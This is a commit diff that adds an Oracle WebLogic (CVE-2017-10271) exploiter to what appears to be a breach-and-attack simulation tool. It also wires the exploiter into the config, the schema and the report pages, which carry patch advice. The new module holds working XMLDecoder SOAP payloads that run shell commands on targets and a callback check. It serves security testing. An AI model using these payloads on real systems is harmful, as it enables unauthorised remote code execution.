Merge pull request #180 from VakarisZ/WebLogic_with_framework
Web logic with framework
This commit is contained in:
itaymmguardicore
GitHub
commit
91c37cc68f
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@ -7,7 +7,7 @@ from abc import ABCMeta
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from itertools import product
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from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
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SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
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SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter
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from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
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MSSQLFinger
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@ -149,7 +149,7 @@ class Configuration(object):
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finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
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exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
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SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
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ElasticGroovyExploiter, Struts2Exploiter # multi
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ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi
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]
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# how many victims to look for in a single scan iteration
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@ -191,7 +191,8 @@ class Configuration(object):
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# TCP Scanner
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HTTP_PORTS = [80, 8080, 443,
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8008, # HTTP alternate
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8008, # HTTP alternate
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7001 # Oracle Weblogic default server port
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]
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tcp_target_ports = [22,
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2222,
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@ -37,7 +37,8 @@
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"ShellShockExploiter",
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"ElasticGroovyExploiter",
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"SambaCryExploiter",
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"Struts2Exploiter"
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"Struts2Exploiter",
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"WebLogicExploiter"
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],
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"finger_classes": [
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"SSHFinger",
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@ -87,7 +88,8 @@
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443,
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3306,
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8008,
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9200
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9200,
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7001
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],
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"timeout_between_iterations": 10,
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"use_file_logging": true,
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@ -42,3 +42,4 @@ from shellshock import ShellShockExploiter
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from sambacry import SambaCryExploiter
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from elasticgroovy import ElasticGroovyExploiter
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from struts2 import Struts2Exploiter
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from weblogic import WebLogicExploiter
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@ -0,0 +1,197 @@
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# Exploit based of:
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# Kevin Kirsche (d3c3pt10n)
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# https://github.com/kkirsche/CVE-2017-10271
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# and
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# Luffin from Github
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# https://github.com/Luffin/CVE-2017-10271
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# CVE: CVE-2017-10271
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from requests import post, exceptions
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from web_rce import WebRCE
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from exploit.tools import get_free_tcp_port, get_interface_to_target
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from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
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import threading
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import logging
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__author__ = "VakarisZ"
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LOG = logging.getLogger(__name__)
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# How long server waits for get request in seconds
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SERVER_TIMEOUT = 4
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# How long to wait for a request to go to vuln machine and then to our server from there. In seconds
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REQUEST_TIMEOUT = 2
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# How long to wait for response in exploitation. In seconds
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EXECUTION_TIMEOUT = 15
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URLS = ["/wls-wsat/CoordinatorPortType",
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"/wls-wsat/CoordinatorPortType11",
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"/wls-wsat/ParticipantPortType",
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"/wls-wsat/ParticipantPortType11",
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"/wls-wsat/RegistrationPortTypeRPC",
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"/wls-wsat/RegistrationPortTypeRPC11",
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"/wls-wsat/RegistrationRequesterPortType",
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"/wls-wsat/RegistrationRequesterPortType11"]
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# Malicious request's headers:
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HEADERS = {
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"Content-Type": "text/xml;charset=UTF-8",
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"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
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"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
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}
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class WebLogicExploiter(WebRCE):
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_TARGET_OS_TYPE = ['linux', 'windows']
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def __init__(self, host):
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super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
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'win32': 'monkey32.exe',
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'win64': 'monkey64.exe'})
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def get_exploit_config(self):
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exploit_config = super(WebLogicExploiter, self).get_exploit_config()
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exploit_config['blind_exploit'] = True
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exploit_config['stop_checking_urls'] = True
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exploit_config['url_extensions'] = URLS
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return exploit_config
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def exploit(self, url, command):
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if 'linux' in self.host.os['type']:
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payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
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else:
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payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
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try:
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post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
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except Exception as e:
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print('[!] Connection Error')
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print(e)
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return True
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def check_if_exploitable(self, url):
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# Server might get response faster than it starts listening to it, we need a lock
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httpd, lock = self._start_http_server()
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payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port)
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try:
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post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
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except exceptions.ReadTimeout:
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# Our request does not get response thus we get ReadTimeout error
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pass
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except Exception as e:
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LOG.error("Something went wrong: %s" % e)
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self._stop_http_server(httpd, lock)
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return httpd.get_requests > 0
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def _start_http_server(self):
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"""
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Starts custom http server that waits for GET requests
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:return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock)
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"""
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lock = threading.Lock()
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local_port = get_free_tcp_port()
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local_ip = get_interface_to_target(self.host.ip_addr)
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httpd = self.IndicationHTTPServer(local_ip, local_port, lock)
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lock.acquire()
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httpd.start()
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lock.acquire()
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return httpd, lock
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def _stop_http_server(self, httpd, lock):
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lock.release()
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httpd.join(SERVER_TIMEOUT)
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httpd.stop()
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@staticmethod
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def get_exploit_payload(cmd_base, cmd_opt, command):
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"""
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Formats the payload used in exploiting weblogic servers
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:param cmd_base: What command prompt to use eg. cmd
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:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
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:param command: command itself
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:return: Formatted payload
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"""
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empty_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java>
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<object class="java.lang.ProcessBuilder">
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<array class="java.lang.String" length="3" >
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<void index="0">
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<string>{cmd_base}</string>
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</void>
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<void index="1">
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<string>{cmd_opt}</string>
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</void>
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<void index="2">
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<string>{cmd_payload}</string>
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</void>
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</array>
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<void method="start"/>
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</object>
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</java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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'''
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payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
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return payload
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@staticmethod
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def get_test_payload(ip, port):
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"""
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Gets payload used for testing whether weblogic server is vulnerable
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:param ip: Server's IP
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:param port: Server's port
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:return: Formatted payload
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"""
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generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java version="1.8" class="java.beans.XMLDecoder">
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<void id="url" class="java.net.URL">
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<string>http://{host}:{port}</string>
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</void>
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<void idref="url">
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<void id="stream" method = "openStream" />
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</void>
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</java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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'''
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payload = generic_check_payload.format(host=ip, port=port)
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return payload
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class IndicationHTTPServer(threading.Thread):
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"""
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Http server built to wait for GET requests. Because oracle web logic vuln is blind,
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we determine if we can exploit by either getting a GET request from host or not.
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"""
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def __init__(self, local_ip, local_port, lock, max_requests=1):
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self._local_ip = local_ip
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self._local_port = local_port
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self.get_requests = 0
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self.max_requests = max_requests
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self._stopped = False
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self.lock = lock
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threading.Thread.__init__(self)
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self.daemon = True
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def run(self):
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class S(BaseHTTPRequestHandler):
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@staticmethod
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def do_GET():
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LOG.info('Server received a request from vulnerable machine')
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self.get_requests += 1
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LOG.info('Server waiting for exploited machine request...')
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httpd = HTTPServer((self._local_ip, self._local_port), S)
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httpd.daemon = True
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self.lock.release()
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while not self._stopped and self.get_requests < self.max_requests:
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httpd.handle_request()
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self._stopped = True
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return httpd
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def stop(self):
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self._stopped = True
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@ -86,6 +86,13 @@ SCHEMA = {
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"Struts2Exploiter"
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],
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"title": "Struts2 Exploiter"
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},
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{
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"type": "string",
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"enum": [
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"WebLogicExploiter"
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],
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"title": "Oracle Web Logic Exploiter"
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}
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]
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},
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@ -626,7 +633,8 @@ SCHEMA = {
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"ShellShockExploiter",
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"SambaCryExploiter",
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"ElasticGroovyExploiter",
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"Struts2Exploiter"
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"Struts2Exploiter",
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"WebLogicExploiter"
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],
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"description":
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"Determines which exploits to use. " + WARNING_SIGN
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@ -761,7 +769,8 @@ SCHEMA = {
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80,
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8080,
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443,
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8008
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8008,
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7001
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],
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"description": "List of ports the monkey will check if are being used for HTTP"
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},
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@ -783,7 +792,8 @@ SCHEMA = {
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443,
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8008,
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3306,
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9200
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9200,
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7001
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],
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"description": "List of TCP ports the monkey will check whether they're open"
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},
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@ -30,7 +30,8 @@ class ReportService:
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'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
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'Ms08_067_Exploiter': 'Conficker Exploiter',
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'ShellShockExploiter': 'ShellShock Exploiter',
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'Struts2Exploiter': 'Struts2 Exploiter'
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'Struts2Exploiter': 'Struts2 Exploiter',
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'WebLogicExploiter': 'Oracle WebLogic exploiter'
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}
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class ISSUES_DICT(Enum):
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@ -43,6 +44,7 @@ class ReportService:
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AZURE = 6
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STOLEN_SSH_KEYS = 7
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STRUTS2 = 8
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WEBLOGIC = 9
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class WARNINGS_DICT(Enum):
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CROSS_SEGMENT = 0
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@ -298,6 +300,12 @@ class ReportService:
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processed_exploit['type'] = 'struts2'
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return processed_exploit
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@staticmethod
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def process_weblogic_exploit(exploit):
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processed_exploit = ReportService.process_general_exploit(exploit)
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processed_exploit['type'] = 'weblogic'
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return processed_exploit
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@staticmethod
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def process_exploit(exploit):
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exploiter_type = exploit['data']['exploiter']
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@ -310,7 +318,8 @@ class ReportService:
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'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
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'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
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'ShellShockExploiter': ReportService.process_shellshock_exploit,
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'Struts2Exploiter': ReportService.process_struts2_exploit
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'Struts2Exploiter': ReportService.process_struts2_exploit,
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'WebLogicExploiter': ReportService.process_weblogic_exploit
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}
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return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
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@ -430,6 +439,8 @@ class ReportService:
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issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
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elif issue['type'] == 'struts2':
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issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
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elif issue['type'] == 'weblogic':
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issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
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elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
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issue['username'] in config_users or issue['type'] == 'ssh':
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issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
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@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent {
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CONFICKER: 5,
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AZURE: 6,
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STOLEN_SSH_KEYS: 7,
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STRUTS2: 8
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STRUTS2: 8,
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WEBLOGIC: 9
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};
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Warning =
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@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
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<li>Struts2 servers are vulnerable to remote code execution. (<a
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href="https://cwiki.apache.org/confluence/display/WW/S2-045">
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CVE-2017-5638</a>)</li> : null }
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{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
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<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
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href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
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CVE-2017-10271</a>)</li> : null }
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</ul>
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</div>
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:
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@ -693,6 +698,24 @@ class ReportPageComponent extends AuthComponent {
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);
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}
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generateWebLogicIssue(issue) {
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return (
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<li>
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Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
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critical patch updates.</a> Or change server version. Vulnerable versions are
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10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
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<CollapsibleWellComponent>
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Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
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className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
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className="label label-danger">remote code execution</span> attack.
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<br/>
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The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware
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(subcomponent: WLS Security).
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</CollapsibleWellComponent>
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</li>
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);
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}
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generateIssue = (issue) => {
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@ -743,6 +766,9 @@ class ReportPageComponent extends AuthComponent {
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case 'struts2':
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data = this.generateStruts2Issue(issue);
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break;
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case 'weblogic':
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data = this.generateWebLogicIssue(issue);
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break;
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}
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return data;
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};
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